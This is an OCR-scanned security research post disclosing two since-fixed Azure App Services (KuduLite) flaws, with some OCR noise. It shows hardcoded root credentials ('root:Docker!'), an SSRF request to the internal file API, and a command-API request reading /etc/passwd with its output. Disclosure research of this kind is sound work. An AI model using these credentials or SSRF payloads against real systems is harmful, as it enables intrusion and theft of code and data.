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Main Findings

We discovered two vulnerabilities in Microsoft Azure. They existed in a popular cloud service called Azure App
Services—specifically impacting Linux servers—and should be on the radar of enterprise organizations that use

cloud resources.

The first vulnerability enabled an attacker with access to the server to take over the App Service’s git repository
and implant phishing pages accessible through the Azure Portal. The second vulnerability allowed an attacker with
an existing low-severity vulnerability on the application (SSRF) to upgrade to full code execution on the App

Service and trigger the first vulnerability. We created a video demonstrating this:

Ett fel intraffade.

Det gar inte att kdra JavaScript.

The vulnerabilities were immediately disclosed to Microsoft and fixed prior to this publication.

Introduction

Migration to the cloud has rendered old security practices largely obsolete, as system administrators must learn
how to adapt and defend this new platform. Cloud security is still relatively new, making it essential to research

and document new attack surfaces that arise when using these services. The infrastructure underneath is somewhat
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undocumented in some areas, as opposed to plain Windows or Linux systems which have been largely scrutinized

by security researchers.

In this post we’ll present two vulnerabilities we have found in Azure App Services, specifically in the Linux App
Services administration component called KuduLite, and cover technical details regarding how Azure App Service

works.

Azure App Services

Azure App Services is an HTTP-based service for hosting web applications and is available in both Microsoft

Azure Cloud and on-premise installations. We will be referring to the cloud version specifically.

App Services is useful as it allows developers to simply write an application to serve HTTP and then push it to git.

From there Azure will handle all pesky deployment details and provide an Azure-managed domain name.

To start using App Services, the user must first create an App Service Plan, which is the machine that App

Services will use. This machine’s main purpose is to host App Service containers.

Once a user creates an App Service, Azure creates a new Docker environment consisting of two container nodes: a

manager node and application node.
Two domains are then registered:

e app.azurewebsites.net — pointing to the application’s HTTP web server.

e app.scm.azurewebsites.net — pointing to the App Service’s administration page provided by Azure.
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&« c & paultest1400.scm.azurewebsites.net

Azure App Service

Environment

Build 1.0.0.7 (e59ed50ca2)
Site up time 45.04:02:55

Site folder /home

Temp folder ftmp/

REST API (works best when using a JSON viewer extension)

» App Settings

» Deployments

+ Source control info

» Files

Current Docker logs (Download as zip)

Browse Directory

» Deployment Logs
e Site wwwroot

More information about Kudu can be found on the wiki.

The administration page is provided by a Microsoft open-source project called Kudu. For Linux, it’s a lesser-
known sibling project called KuduLite. The Kudu instance is hosted on the manager node, while the application

itself is hosted on the application node. We will focus on the KuduLite variant.

The KudulLite instance offers the user diagnostic information about the system, including Docker logs, settings,
and other environment information. If the user chooses to host the app’s git with Azure, it is managed by this

Kudu service.

Another useful feature is a web interface that runs interactive bash on the Kudu instance and an additional web

interface to SSH into the application node (a separate Azure project named webssh).

The application inside the app node runs as root and we can SSH into it as root. When accessing the Kudu

instance, however, we are given a low-privileged user:
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Kudu Remote ExXecutlion Console
Type 'exit' to reset this console.

/home>whoami
a90b6ed4e87d7503bc482aa84
/home>

This user is only meant to interact with /home and is unable to write to files in other directories. Interestingly,

ClamAV is installed in this instance.
To recap, this figure describes the Linux App Services environment:

L.

https://1h4.googleusercontent.com/ZzT_Hhskx4Q44VO5ypRVWPiolCkyD4EacWCf54DY NokP4CwmYBcTtoDll

Protect your cloud workloads against unauthorized code

INTEZER PROTECT

Vulnerability 1: KuduLite Takeover/EoP

While investigating how webssh connects the web interface to the application node’s SSH service, we noticed it

uses hardcoded credentials “root:Docker!” to access the application node:

config.user.name = 'root’';

config.user.password = 'Docker!';

if (req.originalUrl !'= null && req.originalUrl.includes("webssh/host")) {
if (req.query.debugconsolereq !'= null) {

config.ssh.host = "127.0.0.6";
config.ssh.port = 22;
config.ssh.kuduDebugReq = true;

} else {
config.ssh.port = 2222;

webssh credentials
This poses no danger since the application node’s SSH port is not accessible from the internet.

We observed earlier the KuduLite instance also ran SSH, so we used the same credentials on the KuduLite

instance and were able to log in as root:
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root@lbl7e3alfedd: /home# ssh 172.16.1.2
root@l72.16.1.2's password:

/LS
AN AN / IN I\ /

DEBUG CONSOLE | AZURE APP SERVICE ON LINUX

Documentation: http://aka.ms/webapp-linux
Kudu Version : 1.0.0.7
Commit : 8e3adac5fc6043c2lebdblfced4b9eb6038a5e3f

root@8fb42d5a0fe3: /# |

As a reminder, the developers of the App Service KuduLite made sure admins were only able to log into it as a

low privileged user, therefore we knew this was unintended.

Since we now controlled the KuduLite box, we had complete control over the SCM web server. We could listen to
a user’s HTTP requests to the SCM web page, add our own pages, and inject malicious Javascript into the user’s

web page.

Initially, we attempted to steal the SCM user’s cookies from their requests to the server, however, we quickly
found out there is an nginx intermediate that strips the cookies from the request before they arrive to KuduLite.
Furthermore, the cookies had an HttpOnly attribute, which meant we weren’t able to steal them with Javascript on
the client’s browser. These mitigations by Microsoft were very effective in limiting this vulnerability’s potential

damage.

Despite the mitigations, an attacker could still inflict damage with this vulnerability and we presented such a
scenario in the video in the Main Findings section, where an attacker uses the vulnerability to implant a phishing

page in what is supposed to be the SCM web page.

The user may also choose to let App Services manage the git server, in which this will be handled by KuduLite.
The attacker could then add malicious code to the repository to achieve persistence and spread to other instances

using the same git server.

Vulnerability 2: Lack of Access Checks in KuduLite Allow Local File Inclusion or
Remote Code Execution (LFI/RCE) to Attacker with SSRF
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The second vulnerability resides in the KuduLite API, which is very similar to Kudu’s API. The application node

is able to send requests to the KuduLite API without requiring any access validation. This is especially

problematic when considering a web app with an SSRF vulnerability.

An attacker who manages to forge a GET request may access the application node’s file system via the KuduLite

VES API:

Request

J Raw T Params T Headers T Hex ]

Response

J Raw T Headers T Hex ]

GET
/ssrf_get.php?path=172.16.1.2:8181/ap1/vfs/s1te /wwwroot/
HTTR/1.1

Host: paultestl400.azurewebsites.net

>

HTTP/1.1 200 0K

Content-Length: 1605

Content-Type: text/html; charset=UTF-8
Vary: Accept-Encoding

Server: Apache

X-Powered-By: PHP/7.3.15

Date: Sun, 30 Aug 2020 11:27:44 GMT

[{"'name":"curl_get_21a.php","size":152, "mtime" :""2020
-07-12T14:39:57.8885555+00: 00", "crtime" :"2020-07-12T
14:39:57. 8885555+00: 00", "mime" : "application/octet-st
ream”,"href":"http://172.16.1.2:8181/api/vfs/site/ww
wroot/curl_get_21a.php","path":"/home/site /wwwroot/c
url_get_21a.php"}, {"name":"curl_post_21a.php", "size"
1340, "mtime':""2020-07-12T14:39: 57.9041946+00: 00", "cr
time™ :"'2020-07-12T14:39:57. 9041 946+00: 00", "mime": "ap
plication/octet-stream","href":"http://172.16.1.2:81
Bl/api/vfs/site/wwwroot/curl_post_21a.php","path":"/
home /site/wwwroot/curl_post_21a.php"}, {"name" :"examp
le","size":71,"mtime" :"'2020-07-12T14:39:57. 9198370

This would enable an attacker to easily steal source code and other assets on the application node.

An attacker who manages to forge a POST request may achieve remote code execution on the application node via

the command API:

| Request

J Raw I Params I Headers T Hex ]

Response

J Raw I Headers I Hex ]

GET
/ssrf_post.php?path=172.16.1.2:8181/command&param={%27
commands:27:%27cat%20/etc/passwds27 HTTR/1.1

Host: paultestl400.azurewebsites.net

HTTP/1.1 200 OK

Content-Length: 1565

Content-Type: text/html; charset=UTF-8
Vary: Accept-Encoding

Server: Apache

X-Powered-By: PHP/7.3.15

Date: Sun, 30 Aug 2020 11:32:17 GMT

{"Output":"root:x:0:0:root: /root: /bin/bash\ndaemon:x:1
:1:daemon: fusr/shin: fusr/shin/nologin\nbin:x:2:2:bin:/
bin: /usr/shin/nologin\nsys:x:3:3:sys: /dev:/usr/sbhin/no
Loginynsync:x:4:65534:sync: /bin:/bin/sync\ngames:x:5:6
0O:games: /usr/games: /usr/shin/nologin\nman:x:6:12:man:/
var/cache/man: fusr/shin/nologin\nLlp:x:7:7:1p: /var/spoo
1/1pd: fusr/sbin/nologininmail:x:8:8:mail: /var/mail: /us
r/shin/nologin\nnews:x:9:9:news: /var/spool/news: /usr/s
bin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp: /usr/sh
in/nologin\nproxy:x:13:13:proxy:/bin: fusr/sbin/nologin
\nwww-data:x:33:33:www-data:/var/www: /usr/sbin/nologin
\nbackup:x:34:34:backup: /var/backups: fusr/sbin/nologin
wnlist:x:38:38:Mailing List

Manager: /var/list: /usr/sbhin/nologin\nirc:x:39:39:ircd:
/var/run/ircd: fusr/shin/nologin\ngnats:x:41:41:Gnats
Bug-Reporting System

By contrast, in Windows (where Kudu is used), packets sent from the application node to the manager node are

dropped.
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Finally, these two vulnerabilities can be chained together, since once an attacker achieves code execution with the

second vulnerability—provided they have an SSRF vulnerability—they can exploit the first one.

Conclusion

The cloud enables developers to build and deploy their applications at great speed and flexibility, however, often
the infrastructure is susceptible to vulnerabilities out of their control. In the case of App Services, applications are
co-hosted with an additional administration container and as we’ve seen in this post, additional components can

bring additional threats.

We reached out to Microsoft with our findings as part of the responsive disclosure process and the vulnerabilities

were quickly acknowledged and fixed.

As a general best practice, runtime cloud security is an important last line of defense since it detects malicious

code injections and other in-memory threats that take place after a vulnerability has been exploited by the attacker.
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